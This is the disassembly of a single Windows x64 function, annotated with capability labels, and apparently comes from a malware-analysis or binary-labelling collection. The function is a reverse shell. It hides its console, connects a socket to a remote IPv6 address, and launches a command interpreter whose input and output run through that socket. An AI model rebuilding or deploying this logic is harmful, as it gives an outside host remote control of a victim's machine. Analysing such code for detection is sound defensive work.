Function at 0x1400012e0
Capabilities:
Connect socket
Convert ip address from string
Create a process with modified i/o handles and window
Create process on windows
Initialize winsock library

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x470
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rsp + 0x460], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x202
lea rdx, [0x1400057f0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor esi, esi
mov ebp, 0x17
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov ecx, ebp
mov dword [rsp + 0x20], esi
lea edx, [rsi + 1]
lea r8d, [rsi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x1400057e8], rax
cmp rax, 0xffffffffffffffff
jne 0x140001367
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Socket_creation_failed_with_error:__ld_n
call fcn.140001100
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [rsi + 1]
jmp 0x14000163a
xor eax, eax
mov qword [rsp + 0x480], rbx
xorps xmm0, xmm0
mov qword [rsp + 0x488], rdi
movups xmmword [0x1400057b0], xmm0
mov word [0x1400057b0], bp
mov qword [0x1400057c0], rax
mov dword [0x1400057c8], eax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp qword [0x1400050d0], 0xf
lea rbx, [0x1400050b8]
lea rdx, [rsp + 0x250]
mov rdi, rax
cmova rbx, qword [0x1400050b8]
xor r8d, r8d
mov rcx, rbx
mov dword [rax], esi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
cmp rbx, qword [rsp + 0x250]
mov rbx, qword [rsp + 0x480]
jne 0x1400013ed
lea rcx, str.invalid_stoul_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
cmp dword [rdi], 0x22
jne 0x140001400
lea rcx, str.stoul_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
cmp qword [0x140005110], 0xf
lea rdx, [0x1400050f8]
lea r8, [0x1400057b8]
mov word [0x1400057b2], ax
cmova rdx, qword [0x1400050f8]
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
je 0x14000144c
lea rcx, str.Invalid_IPv6_address._n
call fcn.140001100
jmp 0x1400015d7
mov rcx, qword [0x1400057e8]
lea rdx, [0x1400057b0]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r8d, [r9 + 0x1c]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x14000148d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str.Connection_failed_with_error:__ld_n
jmp 0x1400015d0
mov rax, qword [0x1400057e8]
lea rcx, [rsp + 0x266]
xorps xmm0, xmm0
mov qword [0x1400059f0], rax
movups xmmword [0x1400059e0], xmm0
mov qword [0x1400059e8], rax
xor edx, edx
mov qword [0x1400059e0], rax
mov r8d, 0x1fa
mov eax, dword [0x1400034bc]
mov dword [rsp + 0x260], eax
movzx eax, word [0x1400034c0]
movups xmmword [0x140005990], xmm0
mov word [rsp + 0x264], ax
movups xmmword [0x1400059c0], xmm0
mov dword [0x140005990], 0x68
movups xmmword [0x1400059a0], xmm0
mov dword [0x1400059cc], 0x101
movups xmmword [0x1400059b0], xmm0
movups xmmword [0x1400059d0], xmm0
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [str.d.exe]
lea rcx, [rsp + 0x5c]
mov eax, dword [0x1400034d0]
xor edx, edx
mov r8d, 0x1f4
movsd qword [rsp + 0x50], xmm0
mov dword [rsp + 0x58], eax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x260]
lea rcx, [rdx - 2]
cmp word [rcx + 2], si
lea rcx, [rcx + 2]
jne 0x140001551
lea r9, [rsp + 0x50]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r9 + r8*2]
mov word [rcx + r8*2], ax
lea r8, [r8 + 1]
test ax, ax
jne 0x140001570
lea rax, [0x1400057d0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [0x140005990]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400015f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateProcess_failed_with_error:__ld_n
mov edx, eax
call fcn.140001100
mov rcx, qword [0x1400057e8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140001632
mov rcx, qword [0x1400057d0]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x1400057d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1400057d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1400057e8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rdi, qword [rsp + 0x488]
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140001670
mov rbp, qword [rsp + 0x490]
add rsp, 0x470
pop rsi
ret